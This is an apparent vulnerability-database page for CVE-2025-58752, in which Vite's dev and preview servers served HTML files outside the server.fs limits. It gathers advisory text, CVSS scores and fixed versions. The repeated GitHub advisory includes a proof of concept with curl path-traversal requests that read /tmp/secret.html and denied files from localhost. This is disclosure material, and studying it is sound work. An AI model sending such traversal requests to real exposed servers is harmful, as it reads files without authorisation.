CVE-2025-58752
Vite's `server.fs` settings were not applied to HTML files
Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, any HTML files on the machine were served regardless of the server.fs settings. Only apps that explicitly expose the Vite dev server to the network (using --host or server.host config option) and use appType: 'spa' (default) or appType: 'mpa' are affected. This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
2.3
Vite's `server.fs` settings were not applied to HTML files
Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, any HTML files on the machine were served regardless of the server.fs settings. Only apps that explicitly expose the Vite dev server to the network (using --host or server.host config option) and use appType: 'spa' (default) or appType: 'mpa' are affected. This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.
- Record
CVE-2025-58752- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-23, CWE-200, CWE-284
- Updated
- 2026-11-02
EUVDEUVD-2025-27180
2.3
Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, any HTML files on the machine were served regardless of the server.fs settings. Only apps that explicitly expose the Vite dev server to the network (using --host or server.host config option) and use appType: 'spa' (default) or appType: 'mpa' are affected. This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.
- Record
EUVD-2025-27180- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-jqfw-vq24-v9c3
2.3
Vite's `server.fs` settings were not applied to HTML files
Summary
Any HTML files on the machine were served regardless of the server.fs settings.
Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or server.host config option)
appType: 'spa'(default) orappType: 'mpa'is used
This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.
Details
The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.
PoC
Execute the following shell commands:
npm create vite@latest
cd vite-project/
echo "secret" > /tmp/secret.html
npm install
npm run dev
Then, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'
The contents of /tmp/secret.html will be returned.
This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})' > [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev
Then, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'
You will receive a 403 HTTP Response, because everything in the secret_files directory is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'
You will receive the contents of secret_files/secret.html.
- Record
GHSA-jqfw-vq24-v9c3- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-23, CWE-200, CWE-284
- Updated
- 2026-11-02
NVD
2.3
Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, any HTML files on the machine were served regardless of the server.fs settings. Only apps that explicitly expose the Vite dev server to the network (using --host or server.host config option) and use appType: 'spa' (default) or appType: 'mpa' are affected. This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.
- Record
CVE-2025-58752- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Weakness
- CWE-23, CWE-200, CWE-284
- Updated
- 2026-11-02
OSV
2.3
Vite's `server.fs` settings were not applied to HTML files
Vite is a frontend tooling framework for JavaScript. Prior to versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20, any HTML files on the machine were served regardless of the server.fs settings. Only apps that explicitly expose the Vite dev server to the network (using --host or server.host config option) and use appType: 'spa' (default) or appType: 'mpa' are affected. This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served. Versions 7.1.5, 7.0.7, 6.3.6, and 5.4.20 fix the issue.
- Record
CVE-2025-58752- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-200, CWE-23, CWE-284
- Updated
- 2026-11-04
OSVGHSA-jqfw-vq24-v9c3
2.3
Vite's `server.fs` settings were not applied to HTML files
Summary
Any HTML files on the machine were served regardless of the server.fs settings.
Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using --host or server.host config option)
appType: 'spa'(default) orappType: 'mpa'is used
This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.
Details
The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.
PoC
Execute the following shell commands:
npm create vite@latest
cd vite-project/
echo "secret" > /tmp/secret.html
npm install
npm run dev
Then, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'
The contents of /tmp/secret.html will be returned.
This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
echo 'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})' > [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev
Then, in a different shell, run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'
You will receive a 403 HTTP Response, because everything in the secret_files directory is denied.
Now in the same shell run the following command:
curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'
You will receive the contents of secret_files/secret.html.
- Record
GHSA-jqfw-vq24-v9c3- CVSS 4.0
- 2.3 Low
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-200, CWE-23, CWE-284
- Updated
- 2026-11-02
Show 10 moreShow less
OSVROOT-APP-NPM-CVE-2025-58752
5.3
CVE-2025-58752 in @rootio/vite - Patched by Root
Root has patched CVE-2025-58752 in the @rootio/vite package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2025-58752- CVSS 3.1
- 5.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
OSVCLSA-2026-1775176118 No score
TuxCare security update for vite (6 CVEs)
TuxCare rebuilt vite to address 6 CVEs. Fixed in 4.5.5-tuxcare.1.
- Record
CLSA-2026-1775176118- Updated
- 2026-11-02
OSVCLSA-2026-1777249675 No score
TuxCare security update for vite (4 CVEs)
TuxCare rebuilt vite to address 4 CVEs. Fixed in 5.4.14-tuxcare.2.
- Record
CLSA-2026-1777249675- Updated
- 2026-11-02
OSVCLSA-2026-1777509608 No score
TuxCare security update for vite (11 CVEs)
TuxCare rebuilt vite to address 11 CVEs. Fixed in 2.9.18-tuxcare.1.
- Record
CLSA-2026-1777509608- Updated
- 2026-11-02
OSVCLSA-2026-1777855413 No score
TuxCare security update for vite (4 CVEs)
TuxCare rebuilt vite to address 4 CVEs. Fixed in 3.2.11-tuxcare.2.
- Record
CLSA-2026-1777855413- Updated
- 2026-11-02
OSVCLSA-2026-1777855416 No score
TuxCare security update for vite (4 CVEs)
TuxCare rebuilt vite to address 4 CVEs. Fixed in 4.5.14-tuxcare.1.
- Record
CLSA-2026-1777855416- Updated
- 2026-11-02
OSVCLSA-2026-1789031855 No score
TuxCare security update for vite (16 CVEs)
TuxCare rebuilt vite to address 16 CVEs. Fixed in 4.1.5-tuxcare.1.
- Record
CLSA-2026-1789031855- Updated
- 2026-11-02
OSVCLSA-2026-1791897792 No score
TuxCare security update for vite (8 CVEs)
TuxCare rebuilt vite to address 8 CVEs. Fixed in 5.4.10-tuxcare.4.
- Record
CLSA-2026-1791897792- Updated
- 2026-11-02
OSVCLSA-2026-1792225950 No score
TuxCare security update for @vitejs/plugin-react (11 CVEs)
TuxCare rebuilt @vitejs/plugin-react to address 11 CVEs. Fixed in 2.9.18-tuxcare.1.
- Record
CLSA-2026-1792225950- Updated
- 2026-11-02
OSVCLSA-2026-1792225951 No score
TuxCare security update for @vitejs/plugin-react (4 CVEs)
TuxCare rebuilt @vitejs/plugin-react to address 4 CVEs. Fixed in 3.2.11-tuxcare.2.
- Record
CLSA-2026-1792225951- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
vitenpm |
7.1.0 to 7.1.4 | 7.1.5 |
vitenpm |
7.0.0 to 7.0.6 | 7.0.7 |
vitenpm |
6.0.0 to 6.3.5 | 6.3.6 |
vitenpm |
through 5.4.19 | 5.4.20 |
viteTuxCare:npm From an advisory covering 6 CVEs |
4.5.5-tuxcare.0 up to 4.5.5-tuxcare.1, plus listed versions 4.5.5 |
4.5.5-tuxcare.1 |
viteTuxCare:npm From an advisory covering 4 CVEs |
5.4.14-tuxcare.0 up to 5.4.14-tuxcare.2, plus listed versions 5.4.145.4.14-tuxcare.1 |
5.4.14-tuxcare.2 |
viteTuxCare:npm From an advisory covering 11 CVEs |
2.9.18-tuxcare.0 up to 2.9.18-tuxcare.1, plus listed versions 2.9.18 |
2.9.18-tuxcare.1 |
viteTuxCare:npm From an advisory covering 4 CVEs |
3.2.11-tuxcare.0 up to 3.2.11-tuxcare.2, plus listed versions 3.2.113.2.11-tuxcare.1 |
3.2.11-tuxcare.2 |
viteTuxCare:npm From an advisory covering 4 CVEs |
4.5.14-tuxcare.0 up to 4.5.14-tuxcare.1, plus listed versions 4.5.14 |
4.5.14-tuxcare.1 |
viteTuxCare:npm From an advisory covering 16 CVEs |
4.1.5-tuxcare.0 up to 4.1.5-tuxcare.1, plus listed versions 4.1.5 |
4.1.5-tuxcare.1 |
Show 9 moreShow less
| Package | Affected | Fixed |
|---|---|---|
viteTuxCare:npm From an advisory covering 8 CVEs |
5.4.10-tuxcare.0 up to 5.4.10-tuxcare.4, plus listed versions 5.4.105.4.10-tuxcare.15.4.10-tuxcare.25.4.10-tuxcare.3 |
5.4.10-tuxcare.4 |
@vitejs/plugin-reactTuxCare:npm From an advisory covering 11 CVEs |
2.9.18-tuxcare.0 up to 2.9.18-tuxcare.1, plus listed versions 2.9.18 |
2.9.18-tuxcare.1 |
@vitejs/plugin-reactTuxCare:npm From an advisory covering 4 CVEs |
3.2.11-tuxcare.0 up to 3.2.11-tuxcare.2, plus listed versions 3.2.113.2.11-tuxcare.1 |
3.2.11-tuxcare.2 |
vitenpm |
7.1.0 up to 7.1.5 | 7.1.5 |
vitenpm |
7.0.0 up to 7.0.7 | 7.0.7 |
vitenpm |
6.0.0 up to 6.3.6 | 6.3.6 |
vitenpm |
before 5.4.20 | 5.4.20 |
@rootio/viteRoot:npm |
before 7.1.4-root.io.2 | 7.1.4-root.io.27.1.4-root.io.37.1.4-root.io.4 |
viteRoot:npm |
before 7.1.4-aikido.3 | 7.1.4-aikido.37.1.4-aikido.4 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-58752 is a low vulnerability (CVSS 2.3) in Vitejs Vite, published September 8, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.61%, the 49th percentile. Fixed in vite 7.1.5.
References
github.com/vitejs/vite/security/advisories/GHSA-jqfw-vq24-v9c3
github.com/vitejs/vite/commit/0ab19ea9fcb66f544328f442cf6e70f7c0528d5f
github.com/vitejs/vite/commit/14015d794f69accba68798bd0e15135bc51c9c1e
github.com/vitejs/vite/commit/482000f57f56fe6ff2e905305100cfe03043ddea
github.com/vitejs/vite/commit/6f01ff4fe072bcfcd4e2a84811772b818cd51fe6
nvd.nist.gov/vuln/detail/CVE-2025-58752